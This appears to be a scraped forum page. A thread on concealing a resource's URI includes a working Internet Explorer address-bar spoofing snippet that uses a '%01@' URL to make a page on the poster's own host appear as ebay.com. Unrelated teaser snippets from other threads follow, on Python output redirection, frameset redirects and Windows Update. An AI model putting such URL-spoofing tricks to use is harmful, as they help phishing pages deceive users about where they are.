There is no way to prevent the user finding out the real URI of a resource.
The browser have to know what it is before it can get it, and anything the
browser can know, the user can know.

Frames can cover up the address bar for the real URI, but they are easily
bypassed and unfriendly to search engines, bookmarkers, link sharers, etc.

You're right of course, eventually the user can determine the URL of where they
really are, if they are savvy enough. However, sometimes it isn't as obvious as
it would first appear. Take the following code and save it on your server as
"ietrick.ht ml", then load the page in any new, fully patched version of
Internet Explorer and click the Test link. Then look in the Address bar.

<body onload="alert(w indow.location. href);">
<a href="#"
onclick="
window.location .href =
unescape('http://www.ebay.com%01 @http://yourhost/ietrick.html');
return false;
">Test</a>

Yippie, yet another IE vulnerability.

stdout funniness from os.system() calls when redirecting output

by: Birch | last post by:

I have a python script that uses the print function throughout, and as well uses calls to os.system() to spawn DOS commandline executables. My issue is that I redirect all of the output from this script to a file (including that which is printed by the spawned programs) via the redirect (">") function on a Win2K Command Prompt. In the captured output however, the output from the os.system() calls ALWAYS comes before the output from the...

Redirecting a Frameset main page from the server side.

In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
